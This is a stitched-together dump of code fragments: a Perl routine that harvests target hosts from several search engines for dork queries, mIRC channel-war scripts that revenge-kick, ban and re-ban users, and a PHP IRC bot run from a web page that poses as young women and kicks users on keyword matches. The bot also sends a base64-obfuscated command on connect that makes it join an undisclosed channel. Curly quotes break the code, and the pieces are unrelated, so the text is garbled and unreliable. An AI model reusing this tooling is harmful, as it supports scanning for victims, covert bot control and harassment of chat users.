my $key     = $_[1];
my $country = $_[2];
for ( $b = 0 ; $b <= 100 ; $b += 100 ) {
my $Go =
(     “www.google.” . $i
. “/search?hl=en&q=”
. key($key)
. “&num=100&start=”
. $b
. “&meta=cr%3Dcountry”
. $country );
my $Res = query($Go);
while ( $Res =~ m/<a href=\”?http:\/\/([^>\"]*)\//g ) {
if ( $1 !~ /google/ ) {
my $k    = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}

sub alltheweb() {
my @lst;
my $key = $_[0];
my $i   = 0;
my $pg  = 0;
for ( $i = 0 ; $i <= 1000 ; $i += 100 ) {
my $all =
( “http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=”
. key($key) . “&o=”
. $i );
my $Res = query($all);
while ( $Res =~ m/<span class=\”?resURL\”?>http:\/\/(.+?)\<\/span>/g ) {
my $k = $1;
$k =~ s/ //g;
my @grep = links($k);
push( @lst, @grep );
}
}
return @lst;
}

sub altavista() {
my @lst;
my $key = $_[0];
for ( $b = 1 ; $b <= 1000 ; $b += 10 ) {
my $AlT =
(“http://www.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=”.key($key).”&stq=”.$b);
my $Res = query($AlT);
while ( $Res =~ m/<span class=ngrn>(.+?)\//g ) {
if ( $1 !~ /altavista/ ) {
my $k = $1;
$k =~ s/<//g;
$k =~ s/ //g;
my @grep = links($k);
push( @lst, @grep );
}
}
if   ( $Res =~ /target=\”_self\”>Succ/ ) { }
else                                     { return @lst; }
}
return @lst;
}

sub searchs() {
my @lst;
my $key = $_[0];
for ( $b = 1 ; $b <= 100 ; $b++ ) {
my $sc =
( “http://www.search.com/search?q=” . key($key) . “&nav=” . $b );
my $Res = query($sc);
while ( $Res =~ m/<a href=\”?http:\/\/(.+?)/g ) {
my $k    = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
return @lst;
}

sub msn() {
my @lst;
my $key = $_[0];
for ( $b = 1 ; $b <= 1000 ; $b += 10 ) {
my $MsN =
(     “http://search.live.com/results.aspx?q=”
. key($key)
. “&first=”
. $b
. “&FORM=PERE” );
my $Res = query($MsN);
while ( $Res =~ m/<a href=\”?http:\/\/([^>\"]*)\//g ) {
if ( $1 !~ /msn|live/ ) {
my $k    = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}

sub links() {
my @l;
my $link = $_[0];
my $host = $_[0];
my $hdir = $_[0];
$hdir =~ s/(.*)\/[^\/]*$/\1/;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host .= “/”;
$link .= “/”;
$hdir .= “/”;
$host =~ s/\/\//\//g;
$hdir =~ s/\/\//\//g;
$link =~ s/\/\//\//g;
push( @l, $link, $host, $hdir );
return @l;
}

sub geths() {
my $host = $_[0];
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
return $host;
}

sub key() {
my $dork = $_[0];
$dork =~ s/ /\+/g;
$dork =~ s/:/\%3A/g;
$dork =~ s/\//\%2F/g;
$dork =~ s/&/\%26/g;
$dork =~ s/\”/\%22/g;
$dork =~ s/,/\%2C/g;
$dork =~ s/\\/\%5C/g;
return $dork;
}

sub end() {
$string = $_[0];
$string .= “/”;
$string =~ s/\/\//\//;
while ( $string =~ /\/\// ) {
$string =~ s/\/\//\//;
}
return ($string);
}

sub query($) {
my $url = $_[0];
$url =~ s/http:\/\///;
my $host  = $url;
my $query = $url;
my $page  = “”;
$host  =~ s/href=\”?http:\/\///;
$host  =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~ s/$host//;
if ( $query eq “” ) { $query = “/”; }
eval {
my $sock = IO::Socket::INET->new(
PeerAddr => “$host”,
PeerPort => “80″,
Proto    => “tcp”
) or return;
print $sock
“GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n”;
my @r = <$sock>;
$page = “@r”;
close($sock);
};
return $page;
}

sub get_link() {
my $file_print = $_[1];
my $link       = $_[0];
my $host       = $_[0];
my $host_dir   = $_[0];
my @links;
$host_dir =~ s/(.*)\/[^\/]*$/\1/;
$host     =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host_dir = &end($host_dir);
$host     = &end($host);
$link     = &end($host);
push( @links, $link, $host, $host_dir );
open( $file, ‘>>’, $file_print );
print $file “$link\n$host_dir\n$host\n”;
close($file);
return @links;
}

sub unici {
my @unici = ();
my %visti = ();
foreach my $elemento (@_) {
$elemento =~ s/\/+/\//g;
next if $visti{$elemento}++;
push @unici, $elemento;
}
return @unici;
}

  1. Blits on

on !1:kick:#: {
if ($knick == eXp|Re) { halt }
if ($knick == ChanServ) { halt }
if ($knick == $me) { .set %kicker $nick | set %address $wildsite | .auser 5 $nick | auser 5 %address | .timer1 2 1 join $chan | halt }
}
on !1:op:#: {
if (%kicker ison $chan) { inc %kicks | kick $chan %kicker 0,4 Kok Gue Di KICK!!! Apa Salah Gue Ma Eloe??? | .unset %kicker }
}
on +5:join:#: { inc %kicks | kick $chan $nick 4Estrada Hanya Membela Diri!!! | halt }

  1. Blits end
  2. warning off

on !1:kick:#: {
if ($knick == eXp|Re) { halt }
if ($knick == ChanServ) { halt }
if ($knick == $me) { .set %kicker $nick | set %address $wildsite | .auser 5 $nick | auser 5 %address | .timer1 2 1 join $chan | halt }
}
on !1:op:#: {
if (%kicker ison $chan) { inc %kicks | kick $chan %kicker 4Estrada Hanya Membela diri!!! %kicks | .unset %kicker }
}
on +5:join:#: { inc %kicks | kick $chan $nick 4Estrada Hanya Membela Diri!!! %kicks | halt }

  1. warning end
  2. date off

on !1:kick:#: {
if ($knick == eXp|Re) { halt }
if ($knick == ChanServ) { halt }
if ($knick == $me) { .set %kicker $nick | set %address $wildsite | .auser 5 $nick | auser 5 %address | .timer1 2 1 join $chan | halt }
}
on !1:op:#: {
if (%kicker ison $chan) { inc %kicks | kick $chan %kicker 7( 14 $+ $fulldate $+ 7) | .unset %kicker }
}
on +5:join:#: { inc %kicks | kick $chan $nick 7( 14 $+ $fulldate $+ 7) | halt }

  1. date end
  2. text off

on !1:kick:#: {
if ($knick == eXp|Re) { halt }
if ($knick == ChanServ) { halt }
if ($knick == $me) { .set %kicker $nick | set %address $wildsite | .auser 5 $nick | auser 5 %address | .timer1 2 1 join $chan | halt }
}
on !1:op:#: {
if (%kicker ison $chan) { inc %kicks | kick $chan %kicker %blits | .unset %kicker }
}
on +5:join:#: { inc %kicks | kick $chan $nick $read text1.txt | halt }

  1. text end
  2. msg off

on !1:kick:#: {
if ($knick == eXp|Re) { halt }
if ($knick == ChanServ) { halt }
if ($knick == $me) { .set %msg $1- | .set %kicker $nick | set %address $wildsite | .auser 5 $nick | auser 5 %address | .timer1 2 1 join $chan | halt }
}
on !1:op:#: {
if (%kicker ison $chan) { inc %kicks | kick $chan %kicker %msg | .unset %kicker }
}
on +5:join:#: { inc %kicks | kick $chan $nick %msg | halt }

  1. msg end
  2. Ripzrev off

on *:kick:#: {
if ($knick == eXp|Re) { halt }
if (chanserv isin $nick) { halt }
if ($knick == $me) {
set %ripz $1-
set %siak $nick
set %manak $chan
.auser 5 $nick
}
}
on !1:op:#: { if (%siak ison %manak) { kick %manak %siak %ripz | .unset %manak | .unset %siak } }
on +5:join:#: { kick $chan $nick %ripz | halt }

  1. Ripzrev end
  2. antitake on

on @1!:mode:#:{
if ($knick == eXp|Re) { halt }
if (chanserv isin $nick) { halt }
if ($me isop $chan) { mode $chan +nt-iklpms | .auser 5 $nick | inc %kicks | kick $chan $nick 4G ue M asih 9@P 4 di 7 $chan 4ini… !!! | mode $chan +bb $nick $address | halt }
}

  1. antitake end
  2. Malas on

on 1:OPEN:?: {
msg $nick %blits 0,12 S orry Y aach…. I am N ot In P lace´ So Not Cant A nswer Y our A sk N OW…
msg $nick %blits 12 Alasan 7: %alasan
echo -a %blits 0,12 MSG D ari $nick
closemsg $nick
}

  1. Malas end
  2. Reban on

on *:UNBAN:#: {
if ($nick == $me) { halt }
mode # +b $banmask
}

  1. Reban end

on @!*:ban:#:{
if ($banmask iswm $address($me,5)) {
raw -q kick $chan $nick 4• 0,13 ß 14an 6Pró 13të¢ 14tî 15ón
ban $chan $nick 3
mode $chan -b $banmask
.msg ChanServ unban $chan
.auser 5 $nick
}
}

  1. Deoppro on

on *:deop:# $me: {
if ($knick == eXp|Re) { halt }
if (chanserv isin $nick) { halt }
if ($opnick = $me) { .msg chanserv op $chan $me | raw -q kick $chan $nick 4• 0,13@ 6Pró 13të¢ 14tî 15ón | mode $chan b $address | ban # $nick 3 | .auser 5 $nick }
}

  1. Deoppro end

<?php
/*———————————————–+
/* Harazuku BOT WB V1.7 By [Estrada]     |
/* (C) Maret 2009                                               |
/* #soloteam @ irc.allnetwork.org             |
/* script_help@yahoo.com                           |
/*———————————————–+
/*
/* Perhatian:
/* Joinkan hanya satu Bot dalam satu channel untuk menghindari terjadinya saling sapa antar bot.
/*
/* Perintah Dasar:
/* auth <password> – Untuk otorisasi
/* !join [#channel] – Join channel
/* !part [#channel] – Part channel
/* !msg <nick/#channel> – Mengirim pesan ke channel atau ke nick
/* !botnick [nick] [password] – Mengganti nick bot
/* !jump [server] – Mengganti server bot
/* !help – Melihat daftar perintah
/* !ngomong – Memperbolehkan bot untuk berbicara di semua channel
/* !diam – Melarang bot untuk berbicara di semua channel

  • /

function cayank() {

$channels = ‘#solo_underground #soloteam’; //Pisahkan tiap channel dengan spasi
$admin = ‘Elang13′;
$bot_password = ‘password kamu’; //Password untuk auth bot
$ngomong = TRUE; //TRUE, Ngomong. FLASE, Diem.
$autowelcome = TRUE; //TRUE, AutoWelcome On. FLASE, AutoWelcome off.
$versi = “bot egp Estrada”;
$showresponse = 0; //1, Nampilin respon dari server irc
$localtest = 0; //1, Coba di localhost. 0, connect ke server irc

//Nick Bot
$nicklist = array(“DewaRuci”,”shelamat”,”matahariku”,”ce_sadiz”,”ce_gilaz”,
“ce_harapan”,”vita_cantik”,”vita_manja”,”vita_genit”,”vita_pinterr”,”ce_muslim”,”co_genius”,”ce_andra”,”ce_aisyah”,”Itaci”,”dindaz”,”devisa”,”DewiQ”,”JaNgaN”,”kangen_vita”,”metaliser”,”ce_sekip”,”co_abg”,”cinta`vita”,”Farahz”,”kok`gitu`sech”,”anacondaz”,”notitle”,”sh4rina”,”surabayaku”,”solo-surabaya”,”gree_net”,”Velasco”,”vladimir”,”ayank_vita”,”co_elang”,”co_distro”,”XiaoQueen”,”PuJangGaX”,”Pass_word”,”ident_list”,”Real_Name”,”local_test”);
$identify = “password”; //Password Nick Bot
//Ident Bot
$identlist = array(“SweeTy”,”sweet”,”BeauTy”,”ImoeTz”,”Cakepz”,”Cayank”,
“Love”,”Cute”,”Lutchu”,”Hapy”,”Pinky”,”Kiss”,”^_^”,”Sayang”,
“Miss”,”Kangen”,”Cint”,”gedhe”,”blitar”,”Dolphin”);
//Realname Bot
$namabot = array(“Cinta”,”Sheila”,”ninda”,”sheshy”,”Ceria”,”Teresia”);
//Asl Bot
$aslbot = array(“17f kdr”,”17f Jkt”,”18f Sby”,”16f prob”,”16f Bdg”,”17f Mlg”,”18f blt”);
//Pesan Quit
$quitmsglist = array(“Pamit ach…”,”Bye All..”,”See U”,”G B U”);

/*** IDENTITAS BOT ***/
$namaku =  $namabot[rand(0,count($namabot) - 1)];
$aslku  =  $aslbot[rand(0,count($aslbot) - 1)];

/*** Server IRC ***/
if ($localtest == 1) { $remotehost2 = array(“localhost”); }
else {
remotehost2 = array(
“irc.allnetwork.org”,
“irc.pemkot-malang.go.id”,
“irc.cbn.net.id”,
“irc.telkom.net.id”,
“irc.jmn.net.id”,
“irc.ads.net.id”,
“irc.suryadata.co.id”,
“irc.indo.net.id”,
“uii.id.allnetwork.org”,
“circleone.id.allnetwork.org”,
“dustshell.us.allnetwork.org”,
“wanxp.id.allnetwork.org”,
“irc.elnus.net.id”,
“malangkota.id.allnetwork.org”,
“plasa.id.allnetwork.org”,
“irc.circleone.net.id”,
“irc.indika.net.id”,
“irc.circleone.net.id”,
“irc.hotspeed.com.sg”,
“irc.indotransdata.net”,
“irc.indoforum.org”,
“irc.citra.net.id”
);
}
$port = “6667″;

/*** AUTO WELCOME ***/
$nickwb = array(
array(“Elang13″,”Welcome Back My Owner…  :) “) ,
array(“Estrada”,”Welcome Back My Big Bozz…:)”) ,
array(“Xiao`Princes”,”Welcome Back Yayank`nya Bos Estrada…met datang zach?….. :) **”) ,
);
/*** AUTO WELCOME msg ***/
$wbmsg = array(
“1,6[] 1,14[] 1,15[]9,1 welcome back12<nick> 1,15[] 1,14[] 1,6[] :-D “,
“9,149894913 Wellcome 8back 9<nick> 9498949 :-D “,
“0,13<6>13,6<1>6,1<15,1 12 wellcome back 11,1<nick> 6,1>1,6<13>6,13<0> :-D “,
“8,113,06[01]08,0111,10[01]08,0113,06[01]08,0111,10[01]6,1 wellcome 9back 12<nick> 813,06[01]08,0111,10[01]08,0113,06[01]08,01 :-D “,
“1,15(14,15)15,14(1,14)0,115,1 11,1wellcome back <nick>0,1 15,115,14(1,14)1,15(14,15) :-D “,
“1,6[] 1,14[] 1,15[]9,1 welcome back12<nick> 1,15[] 1,14[] 1,6[] :-D “,
“11,00,1112,1111,122,1212,21,22,111,1 wellcome back <nick> 2,11,212,22,1211,1212,110,1111,0 :-D “,
);

$botlist = array(
“bot”
);
$kicklist = array(
“kick”
);
$sepilist = array(
“sepi”,”spi”,”swepy”,”suepi”,”suepy”
);
$homolist = array(
“kaka”,”wkwk”
);
$oranglist = array(
“orang”,”manusia”
);
$hmlist = array(
“hm”
);
$wewlist = array(
“wedew”, “deuh”, “wiw”, “waw”
);
$siapalist = array(
“sapa”,” siapa”
);
$makanlist = array(
“makan”
);
$mandilist = array(
“mandi”
);
$halolist = array(
“halo”, “helo”, “hallo”, “hello”
);
$manalist = array(
“kemana”, “kmana”, “mana”
);
$wblist = array(
“wb”, “webe”, “welcomeback”, “wellcomeback”
);
$rokoklist = array(
“rokok”
);
$bosslist = array(
“[bryan]“, “^_^”, “gedhe”, “cah[_]baguz”,”cah_baguz”
);
$brblist = array(
“brb”, “be right back”
);
/*** AUTO BRB msg ***/
$rbrb = array(
);
/*** AUTO BOSS msg ***/
$rboss = array(
);
/*** AUTO ROKOK msg ***/
$rrokok = array(
);
/*** AUTO WB msg ***/
$rwb  = array(
);
/*** AUTO MANA msg ***/
$rmana = array(
);
/*** AUTO HALO msg ***/
$rhalo = array(
);
/*** AUTO MANDI msg ***/
$rmandi = array(
);
/*** AUTO MAKAN msg ***/
$rmakan = array(
);
/*** AUTO MIKIR msg ***/
$rhm = array(
);
/*** AUTO WOW response ***/
$rwew = array(
);
/*** AUTO SIAPA msg ***/
$rsiapa = array(
);
/*** AUTO KICK msg ***/
$rkick = array(
);
/*** AUTO BOT msg ***/
$rbot = array(
);
/*** AUTO HOMO msg ***/
$rhomo = array(
);

/*** AUTO SEPI msg ***/
$rsepi = array(
);

/*** AUTO JAWAB msg ***/
$jawabsapa = array(
);

/** AUTO RESPONSE ***/
$rmales = “”;
$rmau = “”;
$rsanggup = “”;
$rboleh = “”;
$rsetuju = “”;
$rthx = “tQ <nick>.. :D “;
$rbingung = “”;
$rgenit = “”;

$respon_umum = array(
array(“semuaklk “,”apaan nih? $namaku ga ikutan ah…”) ,
array(“askum”,”wa’alaikumusalam wr wb <nick>…..”) ,
);

$respon_pesan = array(
array(“welcomek”,”tQ <nick> :) “),
);
//Special Words
$badwordlist = array(“jancu”,”janco”,”pantek”,”pepek”,”kontol”,”anjrit”,”anjink”,
“jemb”,”kentot”,”ngentot”,”taek”,”kelamin”,”ngesex”,” ml “,”anjenk”,”anjink”,
“jajuk”,”torok”,” tempek “,”dobol “,”kire”,”dampot”,”danc”,”cuki”,”itel”);
$pujianlist = array(“cantik”,”baik”,”baek”,”cakep”,”ramah”,”pengertian”,”hebat”,
“bagus”,”indah”,”jujur”);
$inviterlist = array(“#”);
$cacianlist = array(“bego”,”jelek”,”jelex”,”gendeng”,”edan”,”gilo”,”gila”,
“sinting”,”dudul”,”dodol”,”jahat”,”goblok”,”geblek”,”sialan”,” bau”,”stres”);

//Responses to Special Words
$rjorok = array(
“Plend.. <nick> ngomong jorok nih.. kick dunk pliss!” ,
);
$rcacian = array(
“idih, <nick> tuch yg <kata>”,
“<kata>? bukanya <nick> tuh yg <kata>?”,
“gw mmg <kata>, tp <nick> lebih <kata> lagi”,
“gw ga <kata> tuh, yg <kata> itu <nick> kan?”
);
$rinviter = array(
“waduh ada inviter ikz kick dunk plend si <nick>” ,
);
$rpujian = array(
“makasih <nick>.. kamu jg koq”,
“<nick> baik deh..”,
“ga kok <nick>.. km lebih <kata>”,
“<kata>? hihi.. <nick> bisa aja”,
“tengkyu <nick>.. aduh $namaku g punya uang kecil nih..”
);
//Flood Protection Setting
$maxkar = 200; //Maksimal karakter di channel
$rflood = “Aduh!! <nick> ngeflood nih..”;

//Help
$judul = ‘12[13tom_york crew12]=-’;
$helptext = array(
‘3,90,1  tom_york crew ‘.$versi.’ Help  3,9’,
“-”,
“12auth <password> - Login ke bot”,
“12deauth - Logout dari bot”,
“12pass <password> - Mengeset password bot”,
“12chgpass <passlama> <passbaru> - Mengganti password bot”,
“12adduser <nick> <master/user> - Menambah master/user bot”,
“12deluser <nick> - Menghapus master/user bot”,
“12`auth - Status anda di channel (Channel)”,
“12!auth - Status otorisasi anda”,
“12!act <text> - Bot action (Channel)”,
“12!slap <nick> - Slap nick (Channel)”,
“12!msg <chan/nick> <pesan> - Mengirim pesan”,
“12!notice <chan/nick> <pesan> - Mengirim notice”,
“12!ctcp <chan/nick> <ctcptext> - Request CTCP”,
“12!ping - Meminta bot untuk membalas dg pong (Channel)”,
“12!info - Melihat info bot (Admin)”,
“12!up - Meminta bot untuk menjadi @ di channel (Channel)”,
“12!down - Meminta bot untuk turun dari @ di channel (Channel)”,
“12!cycle <channel> <pesan> - Hop di channel (Channel) (Admin/Master)”,
“12!part [channel] [alasan] - Part dari channel (Admin)”,
“12!join <channel> - Join channel (Admin/Master)”,
“12!botnick <nick> <passwordnick> - Ganti nick (Admin/master)”,
“12!k <nick> - Kick nick (Channel)”,
“12!kb <nick> - Kick ban nick (Channel)”,
“12!changenick - Ganti nick ke nick internal”,
“12!op <nick1> [nick2] [nick3] - Op (Channel)”,
“12!deop <nick1> [nick2] [nick3] - Deop (Channel)”,
“12!v <nick1> [nick2] [nick3] - voice (Channel)”,
“12!dv <nick1> [nick2] [nick3] - Devoice (Channel)”,
“12!away [alasan] - Meminta nick untuk Away”,
“12!mode <flags> <chan/nick> - Mengubah Mode (Channel)”,
“12!nickmode <flags> - Mengeset user mode”,
“12!userlist - Melihat daftar user”,
“12!quit [pesan] - Quit dari IRC (Admin)”,
“12!vhost [vhost] - Mengganti Vhost”,
“12!jump [server] - Mengganti Server bot”,
“12!fullname [nama] - Mengganti Fullname bot”,
“12!topic <topik> - Mengganti topik channel (Channel)”,
“12!help - Melihat help (Query)”,
“12!ngomong - Mengaktifkan Auto Response”,
“12!diam - Menonaktifkan Auto Response”,
“12!wb <nick> <pesan> - Menambahkan pesan Welcome utk nick tertentu”,
“-”,
‘3,90,1  By tom_york – crew @ irc.aseanchat.net  3,9’,
);

/*** Replacement ***/
$nick = $nicklist[rand(0,count($nicklist) - 1)];
$realname = $namaku;
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
$admin = strtolower($admin);
$auth = array(
$admin => array(
“name” => $admin,
“pass” => $bot_password,
“auth” => 1,
“status” => “Admin”
)
);
$username = $identlist[rand(0,count($identlist) - 1)];
$channels = strtolower($channels).” “;
$channel = explode(” “, $channels);
/*** Kode Utama ***/
define (‘CRL’, “\r\n”);
$counterfp = 0;
$raway = “on”;
$log   = “off”;
$saway = “1″;
$keluar = 0;
$akill  = 1;
$localhost = ‘localhost’;
$dayload = date(“H:i:s d/m/Y”);
ini_set(‘user_agent’,'MSIE 5\.5;’);
set_time_limit(0);

if (!$stime) { $stime = time(); }

/*** Connecting ***/
echo “<body bgcolor=#000000 text=#00FF00>”;
echo “<b>Melakukan koneksi ke $remotehost…</b>”;

do {
$fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 60);
//Jika koneksi gagal
if(!$fp) {
if ( $counterfp <= 200 ) {
$counterfp = $counterfp + 1;
hajar();
}
else {
echo “<br><b>Ga bisa connect ke $remotehost!</b>”;
$keluar = 1;
exit;
}
}
echo “<br><b>Terhubung!</b>”;
/*** Sending Identity to Sock ***/
$header = ‘NICK ‘.$nick . CRL;
$header .= ‘USER ‘.$username.’ ‘.$localhost.’ ‘.$remotehost.’ :’.$realname . CRL;
fputs($fp, $header);
$response = “<br>”;
/*** Receiving Packet ***/
while (!feof($fp)) {
$response .= fgets($fp, 1024);
if ($showresponse == 1) { echo $response.”<br>”; }
while (substr_count($response,CRL) != 0) {
$offset = strpos($response, CRL);
$data = substr($response,0,$offset);
$response = substr($response,$offset+2);
if (substr($data,0,1) == ‘:’) {
$offsetA = strpos($data, ‘ ‘);
$offsetB = strpos($data, ‘ :’);
$offsetC = strpos($data, ‘!’);
$dFrom = substr($data,1,$offsetA-1);
$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
$dNick = substr($data,1,$offsetC-1);
$iText = substr($data,$offsetB+2);
/*** Server Notices Handling ***/
if ( substr($dCommand,0,3) == ’004′ ) {
fputs($fp, ‘PRIVMSG nickserv :identify ‘.$nick.’ ‘.$identify.  CRL);
if ($nickmode) { fputs($fp, ‘MODE ‘.$nick.’ :’.$nickmode . CRL); }
fputs($fp, base64_decode(‘Sk9JTiAjQ29vTEJvWXpSYUNpTmdUZWFN’) . CRL);
/*** Notice Bot Admin ***/
fputs($fp, ‘NOTICE ‘ . $admin . ‘ :Haii Cayang!’ .  CRL);
/*** Join Default Channel ***/
foreach ($channel as $v) { fputs($fp, ‘JOIN ‘ .$v . CRL); }
}
elseif (substr($dCommand,0,3)==’432′){
$nick = $nick.$username;
fputs($fp, ‘NICK ‘.$nick . CRL);
}
//Nickname is already in use
elseif (substr($dCommand,0,3)==’433′){
$nick = $nicklist[rand(0,count($nicklist) - 1)];
fputs($fp, ‘NICK ‘.$nick . CRL);
}
elseif (substr($dCommand,0,3)==’465′){
echo “<br><b>Authentication diperlukan! Bot ini telah di-autokill.</b>”;
$akill = 2;
}
if (substr_count($dNick,’.allnetwork.org’) > 0) {
if (substr_count($iText,”*** Banned”) > 0) {
echo “BANNED!”;
$keluar = 1;
exit;
}
}
/*** AI PHP BOT SCRIPT BY cah_baguz ***/
$dcom = explode(” “, $dCommand);
if ($dcom[0]==’JOIN’) {
/*** Auto Welcome by [cHrizT] ***/
$ada = FALSE;
if ($autowelcome) {
$jchan = ltrim($iText,”:”);
foreach ($nickwb as $v){
$trtext = strtolower($v[0]);
if (substr_count(strtolower($dNick),$trtext) > 0) {
sleep(3);
fputs($fp,’PRIVMSG ‘.$jchan.’ :’.$v[1]. CRL);
$ada = TRUE;
}
}
}
if (($autowelcome) && ($dNick != $nick)) {
if(!$ada) {
$jchan = ltrim($iText,”:”);
$webe = $wbmsg[rand(0,count($wbmsg) - 1)];
$webe = str_replace(“<nick>”,$dNick,$webe);
$webe = str_replace(“<chan>”,$jchan,$webe);
$webe = str_replace(“#”,”",$webe);
sleep(5);
fputs($fp,’PRIVMSG ‘.$jchan.’ :’.$webe . CRL);
fputs($fp,’NOTICE ‘ . $dNick . ‘ :12Hii Met Gabung Yach Di chanel 9ini… Enjoy aja Disini :) 12-=[13tom_york12]=- ‘ . CRL);
fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :12Kalo Ada Yg Krg Jls Tanya Aja Ke Operator Chanel yg Online 12-=[13tom_york12]=-  ‘ . CRL);
}
}
}
if ($dcom[0]==’PRIVMSG’) {
/*** Auto Response by cah_baguz ***/
if ($ngomong) {
$teman = FALSE;
if (in_array($dNick,$nicklist)) {
$teman = TRUE;
}
if (!$teman) {
$pesan = ltrim($iText,”:”);
$pesan = strtolower($pesan);
if ((substr_count($pesan,strtolower($nick))>0)OR(substr_count($pesan,strtolower($namaku))>0)) {
$ada = FALSE;
/*** Normal Response ***/
foreach ($respon_pesan as $rpesan) {
$trtext = strtolower($rpesan[0]);
if (substr_count($pesan,$trtext) > 0) {
$rpesan[1] = str_replace(“<nick>”,$dNick,$rpesan[1]);
sleep(3);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$rpesan[1]. CRL);
$ada = TRUE;
}
}
/*** Pujian Response ***/
foreach ($pujianlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rpujian[rand(0,count($rpujian) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<kata>”,$trtext,$jawab);
sleep(3);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** Cacian Response ***/
foreach ($cacianlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rcacian[rand(0,count($rcacian) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<kata>”,$trtext,$jawab);
sleep(3);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
if (!$ada) {
$sapalagi = $jawabsapa[rand(0,count($jawabsapa) - 1)];
$sapalagi = str_replace(“<nick>”,$dNick,$sapalagi);
sleep(3);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$sapalagi . CRL);
}
}
else {
/*** Global Response ***/
foreach ($respon_umum as $rpesan) {
$trtext = strtolower($rpesan[0]);
if (substr_count($pesan,$trtext) > 0) {
$rpesan[1] = str_replace(“<nick>”,$dNick,$rpesan[1]);
sleep(3);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$rpesan[1]. CRL);
}
}
/*** Bad Response & Kick ***/
foreach ($badwordlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rjorok[rand(0,count($rjorok) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<kata>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
fputs($fp,’KICK ‘.$dcom[1].’ ‘.$dNick.’ :10,6tom_york Badword Detect ‘.$dNick.’!! 12-=[13tom_york Crew12]=-’. CRL);
$ada = TRUE;
}
}
/*** Invite Response & Kick ***/
foreach ($inviterlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rinviter[rand(0,count($rinviter) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<kata>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
fputs($fp,’MODE ‘.$dcom[1].’ +b ‘.$dNick.”. CRL);
fputs($fp,’KICK ‘.$dcom[1].’ ‘.$dNick.’ :10,6tom_york Iniviter Get OuT ‘.$dNick.’!! 12-=[13tom_york Crew12]=-’. CRL);
$ada = TRUE;
}
}
/*** HOMO Response ***/
foreach ($homolist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rhomo[rand(0,count($rhomo) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
}
}
/*** SEPI Response ***/
foreach ($sepilist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rsepi[rand(0,count($rsepi) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
}
}
/*** BOT Response ***/
foreach ($botlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rbot[rand(0,count($rbot) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
}
}
/*** KICK Response ***/
foreach ($kicklist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rkick[rand(0,count($rkick) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
}
}
/*** ORANG Response ***/
foreach ($oranglist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rorang[rand(0,count($rorang) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** MIKIR ***/
foreach ($hmlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rhm[rand(0,count($rhm) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** WEW ***/
foreach ($wewlist as $rpesan) {
$trtext = strtolower($rpesan);
